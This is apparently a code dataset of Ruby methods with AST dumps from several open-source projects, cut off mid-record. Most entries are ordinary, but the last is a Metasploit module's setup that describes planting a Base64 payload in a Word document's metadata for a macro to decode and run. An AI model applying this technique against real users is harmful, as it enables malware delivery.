{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/collection_helpers.rb","start_line":22,"raw_source":"def label(label_html_options = {}, &block)\n            html_options = @input_html_options.slice(:index, :namespace).merge(label_html_options)\n            html_options[:for] ||= @input_html_options[:id] if @input_html_options[:id]\n\n            @template_object.label(@object_name, @sanitized_attribute_name, @text, html_options, &block)\n          end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"label\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"label_html_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html_options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@input_html_options\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"sym\",\"children\":[\"namespace\"]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"label_html_options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@input_html_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"for\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@input_html_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template_object\"]},\"label\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"ivar\",\"children\":[\"@sanitized_attribute_name\"]},{\"type\":\"ivar\",\"children\":[\"@text\"]},{\"type\":\"lvar\",\"children\":[\"html_options\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"2024ca22-a39a-40c3-ab37-08d2d0511200"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/capture_helper_test.rb","start_line":22,"raw_source":"def test_capture_captures_the_value_returned_by_the_block_if_the_temporary_buffer_is_blank\n    string = @av.capture(\"foo\", \"bar\") do |a, b|\n      a + b\n    end\n    assert_equal \"foobar\", string\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_capture_captures_the_value_returned_by_the_block_if_the_temporary_buffer_is_blank\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"string\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@av\"]},\"capture\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"b\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foobar\"]},{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}]}","id":"d7bf059a-f20e-4368-8505-6a7168c736fc"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/generators/build_command_generator.rb","start_line":52,"raw_source":"def buildactions\n        config = Gym.config\n\n        buildactions = []\n        buildactions << :clean if config[:clean]\n        buildactions << :build if config[:skip_archive]\n        buildactions << :archive unless config[:skip_archive]\n\n        buildactions\n      end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"buildactions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buildactions\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"clean\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buildactions\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"clean\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_archive\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buildactions\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"build\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_archive\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buildactions\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"archive\"]}]}]},{\"type\":\"lvar\",\"children\":[\"buildactions\"]}]}]}","id":"f0400b6e-693a-4243-a9e0-81ded0342bf6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_rake_test.rb","start_line":234,"raw_source":"def test_drops_database\n      with_stubbed_connection do\n        ActiveRecord::Base.stub(:establish_connection, nil) do\n          assert_called_with(@connection, :drop_database, [\"my-app-db\"]) do\n            ActiveRecord::Tasks::DatabaseTasks.purge @configuration\n          end\n        end\n      end\n    end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_drops_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_stubbed_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"establish_connection\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"ivar\",\"children\":[\"@connection\"]},{\"type\":\"sym\",\"children\":[\"drop_database\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"my-app-db\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"purge\",{\"type\":\"ivar\",\"children\":[\"@configuration\"]}]}]}]}]}]}","id":"eca70e28-584d-4a94-9b28-688575ac4ef1"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/shipment.rb","start_line":247,"raw_source":"def item_weight\n      manifest.map { |m| m.line_item.item_weight }.sum\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"item_weight\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manifest\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"line_item\"]},\"item_weight\"]}]},\"sum\"]}]}","id":"0c98cff5-f054-473d-aee9-aaee50138eb1"}
{"repo_name":"spree","file_path":"./repos/spree/core/spec/services/spree/imports/row_processors/product_variant_spec.rb","start_line":17,"raw_source":"def csv_row_hash(attrs = {})\n    csv_row_headers.index_with { |header| attrs[header] }\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"csv_row_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attrs\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csv_row_headers\"]},\"index_with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"header\"]}]}]}]}","id":"a992c208-7e40-4d6a-9402-37ae3dfdefe8"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/vanilla.rb","start_line":457,"raw_source":"def import_topics\n    puts \"\", \"Importing topics...\"\n\n    topics_sql =\n      \"SELECT DiscussionID, CategoryID, Name, Body, DateInserted, InsertUserID, Announce, Format\n      FROM #{TABLE_PREFIX}Discussion\n      WHERE DiscussionID > #{@last_imported_topic_id}\n      ORDER BY DiscussionID ASC\"\n\n    create_topics(mysql_stream(topics_sql)) do |row|\n      data = {\n        imported_id: row[\"DiscussionID\"],\n        title: normalize_text(row[\"Name\"]),\n        category_id:\n          category_id_from_imported_id(row[\"CategoryID\"]) ||\n            @category_mappings[row[\"CategoryID\"]].try(:[], :category_id),\n        user_id: user_id_from_imported_id(row[\"InsertUserID\"]),\n        created_at: Time.zone.at(row[\"DateInserted\"]),\n        pinned_at: row[\"Announce\"] == 0 ? nil : Time.zone.at(row[\"DateInserted\"]),\n      }\n      (data[:user_id].present? && data[:title].present?) ? data : false\n    end\n\n    puts \"\", \"importing first posts...\"\n\n    create_posts(mysql_stream(topics_sql)) do |row|\n      data = {\n        imported_id: \"d-\" + row[\"DiscussionID\"].to_s,\n        topic_id: topic_id_from_imported_id(row[\"DiscussionID\"]),\n        user_id: user_id_from_imported_id(row[\"InsertUserID\"]),\n        created_at: Time.zone.at(row[\"DateInserted\"]),\n        raw: clean_up(row[\"Body\"], row[\"Format\"]),\n      }\n      data[:topic_id].present? ? data : false\n    end\n\n    puts \"\", \"converting deep categories to tags...\"\n\n    create_topic_tags(mysql_stream(topics_sql)) do |row|\n      next unless mapping = @category_mappings[row[\"CategoryID\"]]\n\n      { tag_id: mapping[:tag].id, topic_id: topic_id_from_imported_id(row[\"DiscussionID\"]) }\n    end\n  end","complexity_score":82.4,"ast_json":"{\"type\":\"def\",\"children\":[\"import_topics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing topics...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topics_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT DiscussionID, CategoryID, Name, Body, DateInserted, InsertUserID, Announce, Format\\n\"]},{\"type\":\"str\",\"children\":[\"      FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"Discussion\\n\"]},{\"type\":\"str\",\"children\":[\"      WHERE DiscussionID > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_imported_topic_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      ORDER BY DiscussionID ASC\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_topics\",{\"type\":\"send\",\"children\":[null,\"mysql_stream\",{\"type\":\"lvar\",\"children\":[\"topics_sql\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"imported_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DiscussionID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"normalize_text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"category_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CategoryID\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category_mappings\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CategoryID\"]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"category_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"InsertUserID\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DateInserted\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pinned_at\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Announce\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DateInserted\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]},\"present?\"]}]}]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing first posts...\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_posts\",{\"type\":\"send\",\"children\":[null,\"mysql_stream\",{\"type\":\"lvar\",\"children\":[\"topics_sql\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"imported_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"d-\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DiscussionID\"]}]},\"to_s\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[null,\"topic_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DiscussionID\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"InsertUserID\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DateInserted\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[null,\"clean_up\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Format\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},\"present?\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"converting deep categories to tags...\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_topic_tags\",{\"type\":\"send\",\"children\":[null,\"mysql_stream\",{\"type\":\"lvar\",\"children\":[\"topics_sql\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category_mappings\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CategoryID\"]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[null,\"topic_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DiscussionID\"]}]}]}]}]}]}]}]}]}","id":"ff91ef13-1960-4ab9-9dc7-d998b69230e1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/container_repository_entity.rb","start_line":21,"raw_source":"def project\n    request.respond_to?(:project) ? request.project : object.project\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"project\"]}]}]}","id":"a53b43a3-2e1d-4f0b-a7ab-64346ef631c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/jwt_token.rb","start_line":52,"raw_source":"def not_before=(value)\n      super(convert_time(value))\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"not_before=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"convert_time\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"7600af05-ea95-4815-9829-cdb07d736354"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tree_summary.rb","start_line":107,"raw_source":"def prerender_commit_full_titles!(commits)\n      # Preload commit authors as they are used in rendering\n      commits.each(&:lazy_author)\n\n      renderer = Banzai::ObjectRenderer.new(user: user, default_project: project)\n      renderer.render(commits, :full_title)\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prerender_commit_full_titles!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commits\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commits\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"lazy_author\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"renderer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Banzai\"]},\"ObjectRenderer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"renderer\"]},\"render\",{\"type\":\"lvar\",\"children\":[\"commits\"]},{\"type\":\"sym\",\"children\":[\"full_title\"]}]}]}]}","id":"441147fb-0a0b-420a-a6cf-54032a080cf1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/entry/retry.rb","start_line":60,"raw_source":"def self.possible_retry_when_values\n              @possible_retry_when_values ||= ::Ci::Build.failure_reasons.keys.map(&:to_s) + ['always']\n            end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"possible_retry_when_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@possible_retry_when_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Build\"]},\"failure_reasons\"]},\"keys\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"always\"]}]}]}]}]}","id":"70737226-e4e2-44c2-a429-1b55d1038834"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/new_post_result_serializer.rb","start_line":50,"raw_source":"def pending_post\n    object.reviewable\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pending_post\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"reviewable\"]}]}","id":"7e84e4e8-abcf-4df0-be7a-38346bbcc780"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/ewm.rb","start_line":20,"raw_source":"def help\n          build_help_page_url(\n            'user/project/integrations/ewm.md',\n            s_(\"IssueTracker|Use IBM Engineering Workflow Management as this project's issue tracker.\")\n          )\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"build_help_page_url\",{\"type\":\"str\",\"children\":[\"user/project/integrations/ewm.md\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"IssueTracker|Use IBM Engineering Workflow Management as this project's issue tracker.\"]}]}]}]}","id":"737244c9-b152-4c21-ae1b-9e65e88a5a11"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/fileformat/office_word_macro.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Microsoft Office Word Malicious Macro Execution\",\n        'Description' => %q{\n          This module injects a malicious macro into a Microsoft Office Word document (docx). The\n          comments field in the metadata is injected with a Base64 encoded payload, which will be\n          decoded by the macro and execute as a Windows executable.\n\n          For a successful attack, the victim is required to manually enable macro execution.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'sinn3r' # Metasploit\n        ],\n        'References' => [\n          ['URL', 'https://en.wikipedia.org/wiki/Macro_virus']\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n          'DisablePayloadHandler' => true\n        },\n        'Targets' => [\n          [\n            'Microsoft Office Word on Windows',\n            {\n              'Platform' => 'win',\n            }\n          ],\n          [\n            'Microsoft Office Word on Mac OS X (Python)',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-01-10',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptPath.new(\"CUSTOMTEMPLATE\", [true, 'A docx file that will be used as a template to build the exploit', File.join(macro_resource_directory, 'template.docx')]),\n      OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm'])\n    ])\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft Office Word Malicious Macro Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module injects a malicious macro into a Microsoft Office Word document (docx). The\\n\"]},{\"type\":\"str\",\"children\":[\"          comments field in the metadata is injected with a Base64 encoded payload, which will be\\n\"]},{\"type\":\"str\",\"children\":[\"          decoded by the macro and execute as a Windows executable.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          For a successful attack, the victim is required to manually enable macro execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://en.wikipedia.org/wiki/Macro_virus\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Microsoft Office Word on Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Microsoft Office Word on Mac OS X 